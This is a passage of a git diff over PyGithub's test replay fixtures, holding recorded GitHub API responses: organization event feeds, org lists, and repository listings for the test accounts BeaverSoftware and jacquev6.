PyGithub","distinct":false,"sha":"2f51005d80353b3b82cc23908ea4fc7a91230e2f"},{"author":{"email":"BeaverSoftware@vincent-jacques.net","name":"BeaverSoftware"},"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub/commits/998f4cd5ba9501a7ccff79b0011f4220f16b0271","message":"This commit was created by PyGithub","distinct":false,"sha":"998f4cd5ba9501a7ccff79b0011f4220f16b0271"}],"ref":"refs/heads/previous_master"},"public":true,"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","id":3609352,"name":"BeaverSoftware/TestPyGithub"},"org":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/orgs/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"created_at":"2012-03-03T08:52:04Z","id":"1526009777","actor":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/users/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"}},{"type":"DeleteEvent","payload":{"ref_type":"tag","ref":"tag_1330764175"},"public":true,"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","id":3609352,"name":"BeaverSoftware/TestPyGithub"},"org":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/orgs/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"created_at":"2012-03-03T08:47:21Z","id":"1526009425","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"}},{"type":"DeleteEvent","payload":{"ref_type":"tag","ref":"a_tag"},"public":true,"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","id":3609352,"name":"BeaverSoftware/TestPyGithub"},"org":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/orgs/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"created_at":"2012-03-03T08:47:15Z","id":"1526009414","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"}},{"type":"PushEvent","payload":{"head":"998f4cd5ba9501a7ccff79b0011f4220f16b0271","size":1,"push_id":65380594,"ref":"refs/heads/master","commits":[{"author":{"email":"BeaverSoftware@vincent-jacques.net","name":"BeaverSoftware"},"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub/commits/998f4cd5ba9501a7ccff79b0011f4220f16b0271","message":"This commit was created by PyGithub","distinct":true,"sha":"998f4cd5ba9501a7ccff79b0011f4220f16b0271"}]},"public":true,"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","id":3609352,"name":"BeaverSoftware/TestPyGithub"},"org":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/orgs/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"created_at":"2012-03-03T08:42:55Z","id":"1526009059","actor":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/users/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"}},{"type":"PushEvent","payload":{"head":"2f51005d80353b3b82cc23908ea4fc7a91230e2f","size":1,"push_id":65379432,"ref":"refs/heads/master","commits":[{"author":{"email":"BeaverSoftware@vincent-jacques.net","name":"BeaverSoftware"},"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub/commits/2f51005d80353b3b82cc23908ea4fc7a91230e2f","message":"This commit was created by PyGithub","distinct":true,"sha":"2f51005d80353b3b82cc23908ea4fc7a91230e2f"}]},"public":true,"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","id":3609352,"name":"BeaverSoftware/TestPyGithub"},"org":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/orgs/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"created_at":"2012-03-03T08:11:55Z","id":"1526006647","actor":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/users/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"}},{"type":"PushEvent","payload":{"head":"e4e84560cb5e87f3c0e9f710dae1ddab0eef487b","size":1,"push_id":65379410,"ref":"refs/heads/master","commits":[{"author":{"email":"BeaverSoftware@vincent-jacques.net","name":"BeaverSoftware"},"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub/commits/e4e84560cb5e87f3c0e9f710dae1ddab0eef487b","message":"This commit was created by PyGithub","distinct":true,"sha":"e4e84560cb5e87f3c0e9f710dae1ddab0eef487b"}]},"public":true,"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","id":3609352,"name":"BeaverSoftware/TestPyGithub"},"org":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/orgs/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"created_at":"2012-03-03T08:11:13Z","id":"1526006609","actor":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/users/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"}},{"type":"CreateEvent","payload":{"master_branch":"master","description":null,"ref":null,"ref_type":"repository"},"public":true,"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","id":3595643,"name":"BeaverSoftware/TestPyGithub"},"org":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/orgs/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"created_at":"2012-03-01T20:19:32Z","id":"1525404633","actor":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/users/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"}},{"type":"CreateEvent","payload":{"master_branch":"master","description":null,"ref_type":"repository","ref":null},"public":true,"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","id":3595636,"name":"BeaverSoftware/TestPyGithub"},"org":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/orgs/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"created_at":"2012-03-01T20:19:03Z","id":"1525404453","actor":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/users/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"}},{"type":"CreateEvent","payload":{"master_branch":"master","description":null,"ref":null,"ref_type":"repository"},"public":true,"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","id":3595613,"name":"BeaverSoftware/TestPyGithub"},"org":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/orgs/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"created_at":"2012-03-01T20:16:23Z","id":"1525403337","actor":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/users/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"}},{"type":"CreateEvent","payload":{"master_branch":"master","description":null,"ref_type":"repository","ref":null},"public":true,"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","id":3595586,"name":"BeaverSoftware/TestPyGithub"},"org":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/orgs/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"created_at":"2012-03-01T20:12:55Z","id":"1525402258","actor":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/users/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"}},{"type":"CreateEvent","payload":{"master_branch":"master","description":null,"ref":null,"ref_type":"repository"},"public":true,"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","id":3595253,"name":"BeaverSoftware/TestPyGithub"},"org":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/orgs/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"created_at":"2012-03-01T19:36:29Z","id":"1525387859","actor":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/users/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"}},{"type":"PushEvent","payload":{"head":"9473baa2f243872c07c8f008e3d53aed6b5c9ac5","size":1,"push_id":64666710,"ref":"refs/heads/master","commits":[{"author":{"email":"BeaverSoftware@vincent-jacques.net","name":"BeaverSoftware"},"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub/commits/9473baa2f243872c07c8f008e3d53aed6b5c9ac5","message":"This commit was ter created by PyGithub","distinct":true,"sha":"9473baa2f243872c07c8f008e3d53aed6b5c9ac5"}]},"public":true,"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","id":3575047,"name":"BeaverSoftware/TestPyGithub"},"org":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/orgs/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"created_at":"2012-02-28T20:11:58Z","id":"1524541002","actor":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/users/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"}},{"type":"PushEvent","payload":{"head":"ff9cc7d9bcb62d9dbf0784994fe026e9060701ef","size":1,"push_id":64259989,"commits":[{"author":{"email":"BeaverSoftware@vincent-jacques.net","name":"BeaverSoftware"},"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub/commits/ff9cc7d9bcb62d9dbf0784994fe026e9060701ef","message":"This commit was ter created by PyGithub","sha":"ff9cc7d9bcb62d9dbf0784994fe026e9060701ef"}],"ref":"refs/heads/master"},"public":true,"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","id":3553496,"name":"BeaverSoftware/TestPyGithub"},"org":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/orgs/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"created_at":"2012-02-26T17:28:36Z","id":"1523710410","actor":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/users/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"}},{"type":"PushEvent","payload":{"head":"23395b2fa62293196bd8a640b14447c7b552c301","size":1,"push_id":64257074,"ref":"refs/heads/master","commits":[{"author":{"email":"BeaverSoftware@vincent-jacques.net","name":"BeaverSoftware"},"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub/commits/23395b2fa62293196bd8a640b14447c7b552c301","message":"This commit was ter created by PyGithub","sha":"23395b2fa62293196bd8a640b14447c7b552c301"}]},"public":true,"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","id":3553240,"name":"BeaverSoftware/TestPyGithub"},"org":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/orgs/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"created_at":"2012-02-26T16:46:35Z","id":"1523704553","actor":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/users/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"}},{"type":"PushEvent","payload":{"head":"daded682d3a64f70df2e5561783e7282a5cd80a9","size":1,"push_id":64171897,"ref":"refs/heads/master","commits":[{"author":{"email":"BeaverSoftware@vincent-jacques.net","name":"BeaverSoftware"},"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub/commits/daded682d3a64f70df2e5561783e7282a5cd80a9","message":"This commit was ter created by PyGithub","sha":"daded682d3a64f70df2e5561783e7282a5cd80a9"}]},"public":true,"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","id":3545577,"name":"BeaverSoftware/TestPyGithub"},"org":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/orgs/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"created_at":"2012-02-25T16:10:21Z","id":"1523516455","actor":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/users/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"}},{"type":"PushEvent","payload":{"head":"73b34d944187f282fa6049cd05b02432488b357b","size":1,"push_id":64169946,"ref":"refs/heads/master","commits":[{"author":{"email":"BeaverSoftware@vincent-jacques.net","name":"BeaverSoftware"},"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub/commits/73b34d944187f282fa6049cd05b02432488b357b","message":"This commit was ter created by PyGithub","sha":"73b34d944187f282fa6049cd05b02432488b357b"}]},"public":true,"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","id":3545372,"name":"BeaverSoftware/TestPyGithub"},"org":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/orgs/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"created_at":"2012-02-25T15:39:19Z","id":"1523512558","actor":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/users/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"}},{"type":"PushEvent","payload":{"head":"9f2ec52ae9e166d6104834bd0a7f3f9550565100","size":1,"push_id":64169244,"commits":[{"author":{"email":"vincent@vincent-jacques.net","name":"Vincent Jacques"},"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub/commits/9f2ec52ae9e166d6104834bd0a7f3f9550565100","message":"foo","sha":"9f2ec52ae9e166d6104834bd0a7f3f9550565100"}],"ref":"refs/heads/master"},"public":true,"repo":{"url":"https://api.github.com/repos/BeaverSoftware/TestPyGithub","id":3545295,"name":"BeaverSoftware/TestPyGithub"},"org":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/orgs/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"created_at":"2012-02-25T15:27:57Z","id":"1523511231","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"}},{"type":"ForkEvent","payload":{"forkee":{"name":"FatherBeaver","master_branch":null,"size":0,"created_at":"2012-02-16T21:47:44Z","has_wiki":true,"public":true,"clone_url":"https://github.com/jacquev6/FatherBeaver.git","updated_at":"2012-02-16T21:47:44Z","private":false,"watchers":1,"language":null,"git_url":"git://github.com/jacquev6/FatherBeaver.git","fork":true,"ssh_url":"git@github.com:jacquev6/FatherBeaver.git","url":"https://api.github.com/repos/jacquev6/FatherBeaver","id":3464364,"pushed_at":null,"svn_url":"https://github.com/jacquev6/FatherBeaver","has_downloads":true,"open_issues":0,"mirror_url":null,"homepage":"","has_issues":false,"forks":0,"description":"","html_url":"https://github.com/jacquev6/FatherBeaver","owner":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}}},"public":true,"repo":{"url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver","id":3400397,"name":"BeaverSoftware/FatherBeaver"},"org":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/orgs/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"created_at":"2012-02-16T21:47:45Z","id":"1520524054","actor":{"gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"}},{"type":"CreateEvent","payload":{"master_branch":"master","ref":null,"ref_type":"repository","description":""},"public":true,"repo":{"url":"https://api.github.com/repos/BeaverSoftware/FatherBeaver","id":3400397,"name":"BeaverSoftware/FatherBeaver"},"org":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/orgs/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"created_at":"2012-02-09T19:32:22Z","id":"1518484373","actor":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/users/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"}},{"type":"TeamAddEvent","payload":{"membership_id":963957,"team":{"name":"Owners","url":"https://api.github.com/teams/141487","id":141487},"user":{"avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","url":"https://api.github.com/users/jacquev6","id":327146,"login":"jacquev6"}},"public":false,"repo":{"url":"https://api.github.com/repos//","name":"/"},"org":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/orgs/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"},"created_at":"2012-02-09T19:20:13Z","id":"1518480611","actor":{"gravatar_id":"d563e337cac2fdc644e2aaaad1e23266","url":"https://api.github.com/users/BeaverSoftware","id":1424031,"login":"BeaverSoftware","avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png"}}] - diff --git a/tests/ReplayData/AuthenticatedUser.testGetOrgs.txt b/tests/ReplayData/AuthenticatedUser.testGetOrgs.txt index 13cb72bb15..7eae2004a3 100644 --- a/tests/ReplayData/AuthenticatedUser.testGetOrgs.txt +++ b/tests/ReplayData/AuthenticatedUser.testGetOrgs.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4962'), ('content-length', '262'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"1534f44ae64c7b70fb520ea37de4328d"'), ('date', 'Sat, 26 May 2012 20:18:49 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"url":"https://api.github.com/orgs/BeaverSoftware","login":"BeaverSoftware","id":1424031,"avatar_url":"https://secure.gravatar.com/avatar/d563e337cac2fdc644e2aaaad1e23266?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-orgs.png"}] - diff --git a/tests/ReplayData/AuthenticatedUser.testGetRepos.txt b/tests/ReplayData/AuthenticatedUser.testGetRepos.txt index ad8d42fab5..ec5d090ff4 100644 --- a/tests/ReplayData/AuthenticatedUser.testGetRepos.txt +++ b/tests/ReplayData/AuthenticatedUser.testGetRepos.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4961'), ('content-length', '17939'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"3d6116bc986eb0698f0dfe92a01b2437"'), ('date', 'Sat, 26 May 2012 20:19:00 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"clone_url":"https://github.com/jacquev6/TestPyGithub.git","mirror_url":null,"has_downloads":false,"watchers":1,"updated_at":"2012-05-26T09:55:27Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://foobar.com","url":"https://api.github.com/repos/jacquev6/TestPyGithub","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":0,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/TestPyGithub","git_url":"git://github.com/jacquev6/TestPyGithub.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"TestPyGithub","language":null,"description":"Repo created by PyGithub","ssh_url":"git@github.com:jacquev6/TestPyGithub.git","pushed_at":"2012-05-26T09:55:27Z","created_at":"2012-05-26T09:55:27Z","id":4454027,"html_url":"https://github.com/jacquev6/TestPyGithub","full_name":"jacquev6/TestPyGithub"},{"clone_url":"https://github.com/jacquev6/django.git","mirror_url":null,"has_downloads":true,"watchers":1,"updated_at":"2012-04-28T11:06:20Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://www.djangoproject.com/","url":"https://api.github.com/repos/jacquev6/django","has_wiki":false,"has_issues":false,"fork":true,"forks":0,"size":48476,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/django","git_url":"git://github.com/jacquev6/django.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"django","language":"Python","description":"The Web framework for perfectionists with deadlines. Now on GitHub.","ssh_url":"git@github.com:jacquev6/django.git","pushed_at":"2012-04-28T04:05:15Z","created_at":"2012-04-28T11:06:20Z","id":4166730,"html_url":"https://github.com/jacquev6/django","full_name":"jacquev6/django"},{"clone_url":"https://github.com/jacquev6/PyGithub.git","mirror_url":null,"has_downloads":true,"watchers":14,"updated_at":"2012-05-26T18:33:41Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub","has_wiki":false,"has_issues":true,"fork":false,"forks":2,"size":412,"private":false,"open_issues":15,"svn_url":"https://github.com/jacquev6/PyGithub","git_url":"git://github.com/jacquev6/PyGithub.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"PyGithub","language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:jacquev6/PyGithub.git","pushed_at":"2012-05-26T11:25:48Z","created_at":"2012-02-25T12:53:47Z","id":3544490,"html_url":"https://github.com/jacquev6/PyGithub","full_name":"jacquev6/PyGithub"},{"clone_url":"https://github.com/jacquev6/developer.github.com.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-05-08T08:36:28Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/jacquev6/developer.github.com","has_wiki":false,"has_issues":false,"fork":true,"forks":0,"size":152,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/developer.github.com","git_url":"git://github.com/jacquev6/developer.github.com.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatar